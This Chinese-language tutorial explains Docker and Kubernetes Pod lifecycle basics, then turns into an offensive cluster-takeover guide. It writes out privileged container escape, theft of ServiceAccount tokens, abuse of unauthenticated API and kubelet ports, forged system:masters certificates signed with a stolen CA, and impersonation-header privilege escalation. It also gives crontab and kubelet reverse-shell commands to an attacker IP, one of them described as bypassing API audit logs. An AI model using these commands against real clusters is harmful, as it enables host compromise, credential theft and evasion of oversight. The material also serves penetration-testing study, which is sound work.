Docker基础概念与核心价值
Docker是什么
Docker是一种轻量级容器技术,可将应用及其依赖环境打包成标准化单元
核心作用与架构
为什么需要k8s
当docker容器数量激增时,面临三大难题:
- 部署困难:手工管理数百容器效率低下
- 调度困难:资源分配不均导致部分节点过载
- 运维难题:故障恢复、版本更新费时费力
K8s核心组件
graph TD Node节点架构 Node[Node节点] --> Kubelet[Kubelet] Node --> Proxy[Kube-Proxy] Node --> Pod[Pod]
K8s Pod 完整生命周期
Pod 的生命周期是一个状态机流转的过程。从宏观上看,它经历了从被 API 接收、被调度、在节点上初始化、持续运行,直到最终被销毁的完整生命旅程。
请求提交与 API 拦截
这是 Pod 诞生的第一步。用户提交的“期望状态”必须经过 K8s 大脑(API Server)的层层把关,最终落盘存储。在这个阶段,Pod 的状态为 Pending(挂起)。
sequenceDiagram participant User participant API_Server as API Server participant etcd User->>API_Server: 1. 提交 Pod YAML (kubectl apply) API_Server->>API_Server: 2. 认证 AuthN (Token/证书有效吗?) API_Server->>API_Server: 3. 授权 AuthZ (RBAC 允许创建吗?) API_Server->>API_Server: 4. 准入控制 Admission (校验/修改配置) API_Server->>etcd: 5. 存入 etcd,持久化 Pod 数据 Note right of etcd: 此时 Pod 处于 Pending 状态
提交请求
一切始于用户通过命令行工具(如 kubectl)或代码(REST API)向系统发送了一份 YAML/JSON 格式的声明文件。这份文件描述了你想要的 Pod 长什么样(即“期望状态”)。API Server 接收到这个 HTTP POST 请求后,流水线正式启动。
认证 AuthN
安保系统的第一道关卡,核心是核实身份。
-
机制:API Server 会提取请求中携带的凭据信息进行校验。这些凭据通常是 TLS 客户端证书(如 kubeconfig 中的证书)、Bearer Token(如 ServiceAccount 的 Token)或 OIDC 凭证。
-
结果:如果凭据无效、过期或缺失,系统直接将你拒之门外,返回
401 Unauthorized错误。如果身份合法,系统会提取出你的“用户名”和“所属用户组”,放行进入下一关。
授权 AuthZ
确认了你是谁之后,第二道关卡要核实你的权限范围。在 K8s 中,最常用的授权机制是 RBAC(基于角色的访问控制)。
-
机制:系统会查阅权限策略,判断“你这个用户/组”是否被允许在“目标 Namespace(命名空间)”内执行“Create(创建)” “Pod(资源类型)” 的操作。
-
结果:假设你只是一个普通开发人员,可能只有在
dev命名空间的权限。如果你试图把 Pod 建在kube-system(系统核心命名空间)中,请求会被立刻拦截,返回403 Forbidden错误
准入控制
这是 K8s 中非常强大且高度可扩展的拦截器。即便你身份合法且有权限,你提交的 Pod 配置也必须符合集群的“内部规矩”。准入控制严格按照先后顺序分为两个子阶段:
-
Mutating(变更/变异阶段):这就像一个“热心的补漏员”。它允许 K8s 在保存数据前自动修改你的配置。例如,如果你没写容器的 CPU 限制,
LimitRanger插件会自动帮你补上默认值;服务网格(如 Istio)也是在这个阶段自动将 Sidecar 代理容器悄悄“注入”到你的 Pod 里的。 -
Validating(验证阶段):配置被修改完毕后,进入“铁面无私的审查阶段”。验证插件会进行最终的硬性安全和合规检查。例如,集群安全策略规定“禁止使用 root 权限运行容器”,或者“只允许从公司私有镜像库拉取镜像”。只要发现一项违规,一票否决,请求直接报错终止。
持久化存储
当请求成功闯过了“认证”、“授权”和两道“准入控制”的重重关卡后,就意味着 K8s 正式接纳了这个请求。
-
落盘记录:API Server 会将这份经过验证和修改的最终 Pod 配置数据,序列化并写入到
etcd中。etcd是 K8s 集群唯一的数据大脑,存入这里意味着数据持久化成功 -
当前状态:Pending(挂起)。存入
etcd的那一刻,这个 Pod 在 K8s 的逻辑世界中就已经“合法诞生”了。但此时它还仅仅是一串配置数据,尚未被分配到任何具体的物理节点(Node)上去运行,因此 API Server 会将其初始状态标记为 Pending,等待后续调度器(Scheduler)接手。
调度器分配节点
此时 Pod 数据已存在于 etcd 中,但它还没有物理归宿。调度器(kube-scheduler)就像一个媒人,负责为 Pod 匹配最合适的节点(Node)。匹配完成前,Pod 依然是 Pending。
graph TD PendingPod[未调度的 Pod] --> Filter[1. 预选阶段 / Filter] Filter -- 剔除不满足条件的节点 --> Score[2. 优选阶段 / Score] Score -- 给剩余节点打分 --> Bind[3. 绑定阶段 / Bind] Bind -- "更新 etcd 中 Pod 的 NodeName 字段" --> NodeAssigned(分配成功)
调度策略:
-
预选:一票否决制。检查节点资源(CPU/内存)是否足够?端口是否冲突?节点是否带有 Pod 无法容忍的污点(Taints)?
-
优选:打分制。基于算法对通过预选的节点评分,例如资源剩余越多的节点得分越高,镜像已经存在于本地的节点得分更高等。
-
绑定:选择得分最高的 Node,将 Pod 与该 Node 绑定。
节点接管与初始化
被调度后,目标节点上的大管家 Kubelet 会通过监听 API Server 发现这个属于自己的 Pod,并开始在节点上真正构建运行环境。
graph LR Kubelet[Kubelet 监听到绑定事件] --> Env[1. 准备环境] Env --> Net[CNI 分配 IP & CSI 挂载存储] Net --> InitContainer[2. 执行 Init 容器] InitContainer -- 失败 --> Restart(根据策略重启) InitContainer -- 成功/串行执行完毕 --> Ready(准备启动主容器)
节点操作核心:
-
基础环境构建:调用容器运行时(Docker/containerd)拉取业务镜像;调用 CNI 插件为 Pod 分配独占的 IP 地址;挂载声明的 Volume 数据卷。
-
Init 容器 (Init Containers):在主容器启动前运行的“先遣队”。
-
它们串行执行,必须按顺序一个接一个成功退出。
-
作用:通常用于环境初始化(如等待数据库启动、拉取外部配置、修改目录权限等)。如果 Init 容器失败,Kubelet 会不断重启该 Pod,直到 Init 容器成功为止。
-
主容器运行与持续探测
所有 Init 容器成功退出后,Kubelet 会并行启动 Pod 内的主容器。此时 Pod 的状态正式转为 Running(运行中)。为了确保应用健康,Kubelet 会持续进行“健康体检”。
graph TD Start([主容器启动]) --> PostStart[PostStart Hook 钩子] Start --> Running[应用运行] Running --> Probes{Kubelet 执行健康探针} Probes -- 1. Startup Probe --> Protect[保护慢启动应用,成功前禁用其他探针] Probes -- 2. Liveness Probe --> Alive{存活探针: 死了吗?} Alive -- 失败 --> Kill[重启容器] Probes -- 3. Readiness Probe --> Ready{就绪探针: 能接客吗?} Ready -- 失败 --> RemoveIP[从 Service Endpoints 摘除流量] Ready -- 成功 --> AddIP[加入 Service,正式对外暴露提供访问]
生命周期探针(决定了服务暴露的安全性):
-
存活探针 (Liveness Probe):检测应用是否“假死”或死锁。如果探测失败,Kubelet 会直接杀掉容器并重启它。
-
就绪探针 (Readiness Probe):检测应用是否准备好处理用户请求。(这是替代你原笔记第五阶段的关键)。只有就绪探针成功,K8s 才会把该 Pod 的 IP 加入到 Service 路由中;一旦失败,会立刻切断发往该 Pod 的流量,防止用户访问到报错的页面。
终止与回收
生命周期的终点。无论是用户主动执行 kubectl delete pod,还是因为节点资源不足被强制驱逐(Eviction),Pod 都会经历一个优雅退出的过程,此时状态变为 Terminating。
sequenceDiagram participant API_Server as API Server participant Service participant Kubelet participant Pod API_Server->>API_Server: 1. 标记状态为 Terminating API_Server->>Service: 2. 从 Endpoints 移除,停止新流量转发 API_Server->>Kubelet: 3. 通知节点销毁 Pod Kubelet->>Pod: 4. 执行 PreStop Hook (清理数据/保存状态) Kubelet->>Pod: 5. 发送 SIGTERM 信号给主进程 Note right of Pod: 默认等待 30 秒 (宽限期) alt 进程在 30 秒内未退出 Kubelet->>Pod: 6. 发送 SIGKILL 信号强制斩杀 end Kubelet->>API_Server: 汇报销毁完成,清理 etcd 记录
退出机制:
-
流量切断与进程关闭是异步同时进行的。
-
PreStop Hook:在容器收到终止信号前执行的脚本,常用于保存状态、向注册中心注销自己等。
-
宽限期 (Grace Period):默认 30 秒。K8s 给应用程序处理未完成请求的时间,超时后无论如何都会被
SIGKILL强制清理。最终 Pod 彻底从集群中消失。
Docker逃逸
条件:需要privileged权限
docker run -it --privileged --name test-nginx -p 8080:80 nginx:1.21 bash
相对于k8s来说,相当于:
apiVersion: v1
kind: Pod
metadata:
name: cve-2016-4437-web
spec:
containers:
- image: vulhub/shiro:1.2.4
name: cve-2016-4437-web
securityContext:
privileged: true
volumeMounts:
- mountPath: /mnt
name: host-mnt
volumes:
- name: host-mnt
hostPath:
path: /
type: Directory
在容器内挂载宿主机的根目录文件
使用以下命令挂载
mkdir /host
mount -t ext4 /dev/vda1 /host
访问宿主机文件
挂载完成之后,可以通过/host目录访问宿主机的文件系统
ls /host
chroot /host /bin/bash
后渗透
查看是否为特权模式
cat /proc/self/status | grep -qi '0000003fffffffff' && echo 'Is privileged mode'|| echo 'Not privileged mode'
查看容器是否具有高权限token
cat /var/run/secrets/kubernetes.io/serviceaccount/token
查看自身票据
cat /etc/kubernetes/kubelet.conf
越权方法
K8S配置泄露利用
Kubernetes配置泄露利用指的是攻击者通过特定方式获取K8s master节点的配置文件,然后可以使用来利用该配置文件以操作整个集,从而获得集群的敏感信息和凭据,接管所有容器,执行恶意操作,如窃取数据、提升权限或部署恶意容器。如果拥有K8S master节点的控制权(可以控制K8S 节点,但是没有Shell),可以尝试给所有node部署恶意容,从而接管各节点的主机Shell。
一般情况下Kubernetes的配置文件(kubeconfig)通常位于用户主目录下的 .kube 目录中,文件名为 config。具体路径为:/root/.kube/config
利用K8S config文件,获取当前集群的所有节点、服务、命名空间
kubectl --kubeconfig ~/.kube/config --insecure-skip-tls-verify=true get node
kubectl --kubeconfig ~/.kube/config --insecure-skip-tls-verify=true get svc
kubectl --kubeconfig ~/.kube/config --insecure-skip-tls-verify=true get ns
利用K8S配置文件得到了K8S集群的操作权限后,然后就可以往集群内部署恶意容器了,思路就是:在部署恶意容器的时候把K8S节点宿主机的根目录挂载到容器内部,从而获取到宿主机的Shell。
需要注意的是:K8S的集群配置文件里面的server ip一般为 server: https://127.0.0.1:6443 ,在利用的时候需要把 127.0.0.1 改为当前网络环境可以访问到的地址。
部署恶意容器是一定需要一个镜像的,而一般来说K8S集群会有一些组成K8S用的一些容器镜像,是系统自带的,可以利用系统自带的镜像来部署恶意容器。
手动获取镜像
利用K8S配置文件,查看当前K8S节点中所有的命名空间
kubectl --kubeconfig <k8s配置文件> --insecure-skip-tls-verify=true get ns
利用K8S配置文件,查看 kube-system 命名空间中所有的容器
kubectl --kubeconfig <k8s配置文件> --insecure-skip-tls-verify=true get pods -n kube-system
利用K8S配置文件,查看 kube-system 命名空间中的其中一个容器的详细信息(包含所用到的镜像)
- 找到 Image 键,获取到镜像信息
kubectl --kubeconfig <k8s配置文件> --insecure-skip-tls-verify=true describe pods -n kube-system svclb-traefik-68a853cb-n9hdg
命令一键获取
kubectl --kubeconfig <k8s配置文件> --insecure-skip-tls-verify=true get pods --all-namespaces -o jsonpath="{.items[*].spec.containers[*].image}" |tr -s '[[:space:]]' '\n' |sort |uniq -c
获取到当前节点存在的镜像后,就要开始部署恶意POD了。需要注意的是:有些系统镜像是进入不了Shell的,所以不行的话就要换个镜像。
将下面的容器部署配置保存为 shell-pod.yaml ,已经将 image 设置为一个常用的基础镜像,你也可以替换为系统内已有的镜像。这个配置文件创建了一个名为 shell-pod 的 Pod,包含一个名为 shell-container 的容器。使用 hostPath 卷将宿主机的根目录挂载到容器内的 /host 目录。
apiVersion: v1
kind: Pod
metadata:
name: shell-pod
namespace: default
spec:
containers:
- name: shell-container
image: nginx:1.14.2 # 可以替换为你需要的镜像
volumeMounts:
- mountPath: /host
name: host-root
volumes:
- name: host-root
hostPath:
path: /
然后使用命令部署这个恶意POD:kubectl --kubeconfig <k8s集群配置文件> apply -f shell-pod.yaml
创建成功后,使用命令进入容器,获取到交互式Shell。并且可以发现宿主机的根目录已经成功挂载到POD中的/host目录。
kubectl --kubeconfig <k8s集群配置文件> exec -it shell-pod -- sh
使用 chroot /host 命令将ROOT工作目录切换到宿主机的根目录,相当于接管了宿主机的Shell。可以发现已经成功接管了宿主机。
K8S API未授权利用
Kubernetes 的 API 接口用于管理和操作集群资源,允许用户和自动化工具执行创建、更新、删除等操作。如果未授权访问该 API,攻击者可能会获取集群的敏感信息、操控资源,甚至完全控制集群,从而导致数据泄露、服务中断或系统被恶意利用。Kubernetes 的 API 接口与Kubernetes 配置文件泄露同样致命,可以对集群进行危险操作!
在 Kubernetes 中,6443 和 8080 这两个端口通常有不同的用途:8080 端口是 Kubernetes API 服务器的默认 HTTP 端口(非加密)。虽然有些集群可能会配置此端口,但在生产环境中,使用 HTTPS(6443 端口)是更安全的选择。
8080端口未授权访问
在低版本的k8s中存在8080不进行鉴权的操作,可以未授权访问api接口信息
访问地址的8080端口回显是这样的时候,就可以尝试这个漏洞
一般使用kubectl工具来进行未授权操作:https://kubernetes.io/zh-cn/docs/tasks/tools/
获取node节点
kubectl.exe -s 192.168.0.25:8080 get nodes
获取pod
kubectl.exe -s 192.168.0.25:8080 get pods
如果上述操作都能回显正常的话,就可以进行下一步的操作,就可以通过kubectl创建一个pods
创建pod的过程,需要在攻击机器上使用yaml文件
apiVersion: v1
kind: Pod
metadata:
name: shell-pod
namespace: default
spec:
containers:
- name: shell-container
image: nginx:1.14.2 # 可以替换为你需要的镜像
volumeMounts:
- mountPath: /host
name: host-root
volumes:
- name: host-root
hostPath:
path: /
在这一步我们需要注意的是三个值
- name此为我们后创建容器的名称
- image为我们选择的镜像
- mountpath为我们宿主机挂载到容器的位置
将上面的保存在本地机器上,使用命令创建容器
kubectl -s [ip]:8080 create -f shell-pod.yaml
6443端口未授权访问
6443端口在默认条件下是开启的但是会有权限校验,
一般在配置不当的时候,将system:anonymous”用户绑定到”cluster-admin”用户组
这个时候访问的时候就会出现未授权访问接口的情况
利用方法
写入文件
向/api/v1/namespaces/default/pods/这个post
cat <<EOF > pod.json
{
"apiVersion": "v1",
"kind": "Pod",
"metadata": {
"name": "shell-pod",
"namespace": "default"
},
"spec": {
"containers": [
{
"name": "shell-container",
"image": "nginx:1.14.2",
"volumeMounts": [
{
"name": "host",
"mountPath": "/host"
}
]
}
],
"volumes": [
{
"name": "host",
"hostPath": {
"path": "/",
"type": "Directory"
}
}
]
}
}
EOF
post成功就会创建一个名字叫做shell-pod的pods,然后就是查看这个pod创建成功没有
kubectl --insecure-skip-tls-verify -s ip:6443 get pods
使用 curl 发送 POST 请求
根据你当前所处的网络环境和权限情况,选择对应的发送方式:
场景 A:直接访问(如未授权访问漏洞或本地测试环境)
如果 API Server 存在未授权访问,或者你在配置了免密的环境中,直接指定目标 IP 和端口即可:
curl -X POST \
-H "Content-Type: application/json" \
-d @pod.json \
"http://<K8S_API_IP>:<PORT>/api/v1/namespaces/default/pods"
场景 B:在集群内部(In-Cluster)通过 ServiceAccount 发包
如果是获取了某个 Pod 的 Shell,想要利用其挂载的凭证去请求 API Server 创建特权 Pod,需要带上 Token 并指定集群内部的地址:
# 1. 提取当前 Pod 的 ServiceAccount Token
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
# 2. 发送请求 (-k 参数用于忽略证书校验,这在测试中很常用)
curl -k -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d @pod.json \
"[https://kubernetes.default.svc/api/v1/namespaces/default/pods](https://kubernetes.default.svc/api/v1/namespaces/default/pods)"
10250/10255端口未授权访问
在配置文件中authentication配置不当
这里直接使用/runningpods获取namespace
curl -XPOST -k "https://ip:10250/run/<namespace>/<pod>/<container>" -d "cmd=id"
授权之后这里会直接回显。
这个能证明我们能执行命令,但是一直使用这个非常的麻烦
工具推荐
https://github.com/cyberark/kubeletctl
使用:
-
kubeletctl scan —cidr 192.168.159.0/24,扫描特定的子网,查看是否开放特定的端口
-
kubeletctl pods —server 192.168.159.236,罗列可用的所有的pods
-
kubeletctl scan rce —server ip,使用scan命令扫描容器里面可以命令执行的pods,然后通过
-
kubeletctl exec “hostname” -p PDODS -c CONTAINERS -n NAMESPACE—server IP
-
kubeletctl exec sh -p PDODS -c CONTAINERS -n NAMESPACE—server IP
-
-
kubeletctl run “uname -a” —all-pods —server IP ,这个直接使用run命令在所有pods里面执行命令
-
kubeletvtl scan token —server IP 这个直接搜索云的token
k8s身份伪造
利用泄露的 CA 签发高权限客户端证书
在实战或打靶中,API Server 的根证书和私钥(ca.crt 和 ca.key,通常位于 Master 节点的 /etc/kubernetes/pki/ 目录下)是非常核心的机密。获取它们通常依赖于前置漏洞的利用:
特权容器/挂载逃逸:攻击者首先通过某个 Web 漏洞(如 RCE)进入了一个普通 Pod,发现该 Pod 挂载了宿主机的根目录(hostPath: /),或者具有高特权(Privileged)。攻击者借此逃逸到 Master 节点的宿主机操作系统中,直接读取文件。
原理简述: Kubernetes API Server 在通过 X.509 客户端证书进行认证时,会提取证书的 Subject 信息:
-
CN(Common Name) 被识别为用户名。 -
O(Organization) 被识别为用户组。
Kubernetes 默认内置了一个拥有最高权限(cluster-admin)的组叫 system:masters。只要我们在生成证书请求(CSR)时,把组名指定为 system:masters,再用偷来的集群 CA 把证书签发出来,我们就获得了一把拥有集群完整控制权的“万能钥匙”。
生成私钥并构造 CSR (证书签名请求)
核心在于 -subj 参数,直接将用户绑定到最高权限组。
# 生成 2048 位的 RSA 私钥
openssl genrsa -out rivulet-admin.key 2048
# 生成 CSR,关键是将 Organization (O) 设置为 system:masters
openssl req -new -key rivulet-admin.key -out rivulet-admin.csr \
-subj '/CN=rivulet-admin/O=system:masters'
使用集群 CA 签发伪造证书
假设此时你已经将目标环境的 /etc/kubernetes/pki/ca.crt 和 /etc/kubernetes/pki/ca.key 下载到了本地(在你的 WP 中,它们被重命名为了 etc_kubernetes_pki_ca.crt 等)。
# 使用集群 CA 签发客户端证书,有效期设为 365 天
openssl x509 -req \
-in rivulet-admin.csr \
-CA etc_kubernetes_pki_ca.crt \
-CAkey etc_kubernetes_pki_ca.key \
-CAcreateserial \
-out rivulet-admin.crt \
-days 365
验证 API 访问权限
拿着新生成的证书去请求 API Server,看看能不能列出 namespace 下的 pod。
curl -sS -k \
--cert rivulet-admin.crt \
--key rivulet-admin.key \
--cacert etc_kubernetes_pki_ca.crt \
"[https://39.101.1.38:6443/api/v1/namespaces](https://39.101.1.38:6443/api/v1/namespaces)" | python3 -m json.tool | head
结合 JSON 发起恶意 POST 请求
把前面这套认证机制,跟我们写好的 pod.json 结合起来,最终的终极利用命令就是这样:
YAML
cat <<EOF > pod.json
{
"apiVersion": "v1",
"kind": "Pod",
"metadata": {
"name": "shell-pod",
"namespace": "default"
},
"spec": {
"containers": [
{
"name": "shell-container",
"image": "nginx:1.14.2",
"volumeMounts": [
{
"name": "host",
"mountPath": "/host"
}
]
}
],
"volumes": [
{
"name": "host",
"hostPath": {
"path": "/",
"type": "Directory"
}
}
]
}
}
EOF
# 使用伪造的 system:masters 证书,POST 我们精心构造的 pod.json,实现提权/挂载
curl -sS -k -X POST \
--cert rivulet-admin.crt \
--key rivulet-admin.key \
--cacert etc_kubernetes_pki_ca.crt \
-H "Content-Type: application/json" \
-d @pod.json \
"[https://39.101.1.38:6443/api/v1/namespaces/default/pods](https://39.101.1.38:6443/api/v1/namespaces/default/pods)"
ServiceAccount Token 窃取与滥用 (In-Cluster 伪造)
利用集群内部署的 ServiceAccount (SA) 凭据也是最常见的身份伪造方式。
攻击原理
Kubernetes 默认会自动将 ServiceAccount 的凭据(Token)挂载到 Pod 的文件系统中。如果该 Pod 被绑定了高权限的 Role/ClusterRole(例如绑定了 cluster-admin 或者具有创建 Pod、执行 Exec 权限的角色),攻击者只要拿到这个 Token,就可以伪造该 SA 的身份与 API Server 交互。
Token 默认挂载路径:
/var/run/secrets/kubernetes.io/serviceaccount/token
/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
获取途径:
- Pod 内 RCE:直接执行
cat命令读取。 - SSRF (服务器端请求伪造):如果 Pod 内应用存在 SSRF 漏洞,且支持
file://协议,可以直接读取本地文件。 - 云厂商元数据 API (Metadata SSRF):在云原生环境中,通过 SSRF 访问云厂商的 metadata 服务(如 AWS 的
169.254.169.254)窃取节点绑定的高权限 IAM Token,进而在 K8s 层面提权。
利用方式
拿到 Token 后,在 HTTP 请求头中带上 Authorization: Bearer <TOKEN> 即可伪造身份:
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" https://<K8S_API_IP>:6443/api/v1/namespaces/default/pods
RBAC 权限配置不当:Impersonate (用户模拟) 滥用
这是一种基于 K8s 原生机制的身份伪造攻击,属于 RBAC 错误配置导致的提权。
1. 攻击原理: Kubernetes API 支持一种名为“用户模拟 (Impersonation)”的功能。如果一个低权限的 ServiceAccount 被错误地授予了针对 users 或 groups 的 impersonate (模拟) 动词权限,它就可以在发送请求时,声明自己是另一个更高权限的用户(例如集群管理员)。
2. 利用条件: 攻击者已经掌握了一个具有 impersonate 权限的低权限 Token。
3. 利用方式: 在通过 curl 或 kubectl 请求 API Server 时,加上特定的 HTTP Header (Impersonate-User 或 Impersonate-Group):
# 使用低权限 token,但声称自己是高权限的 system:admin
curl -k -H "Authorization: Bearer <LOW_PRIVILEGE_TOKEN>" \
-H "Impersonate-User: system:admin" \
-H "Impersonate-Group: system:masters" \
https://<K8S_API_IP>:6443/api/v1/namespaces
或者使用 kubectl:
kubectl --token=<LOW_PRIVILEGE_TOKEN> --as=system:admin --as-group=system:masters get pods -A
执行恶意代码
一般情况下我们会发送建立恶意pod,Pod 成功运行并挂载了宿主机根目录后,我们需要在其中执行命令(例如反弹 Shell)。根据当前掌握的条件,有两种执行方式:
方式一:通过 API Server 代理执行 (常规做法)
既然我们已经控制了 6443 接口(或拥有最高权限证书),最简单的方法是直接使用 kubectl 的 exec 功能,API Server 会自动帮我们把指令下发到对应的 Node:
kubectl --insecure-skip-tls-verify -s ip:6443/8080 --namespace=default exec -it shell-pod bash
# 进入后写入计划任务反弹 shell
echo -e "* * * * * root bash -i >& /dev/tcp/你的攻击机IP/4444 0>&1\n" >> /host/etc/crontab
方式二:直连 Kubelet 10250 端口执行 (隐蔽/绕过做法)
如果为了绕过 API Server 的审计日志,或者 API Server 屏蔽了 exec 接口,我们可以直接向 Pod 所在宿主机的 Kubelet (10250端口) 发送请求。
注意:使用此方法前,需要先通过其他 API 获取该 Pod 被调度到的具体 Node IP (例如 172.17.0.1)。
# 直接调用 Node 节点 Kubelet 的未授权或已授权接口执行命令
curl -k -sS -X POST \
--data-urlencode "cmd=chroot /host bash -c 'bash -i >& /dev/tcp/你的攻击机IP/4444 0>&1'" \
"https://<Node_IP>:10250/run/default/shell-pod/shell-container"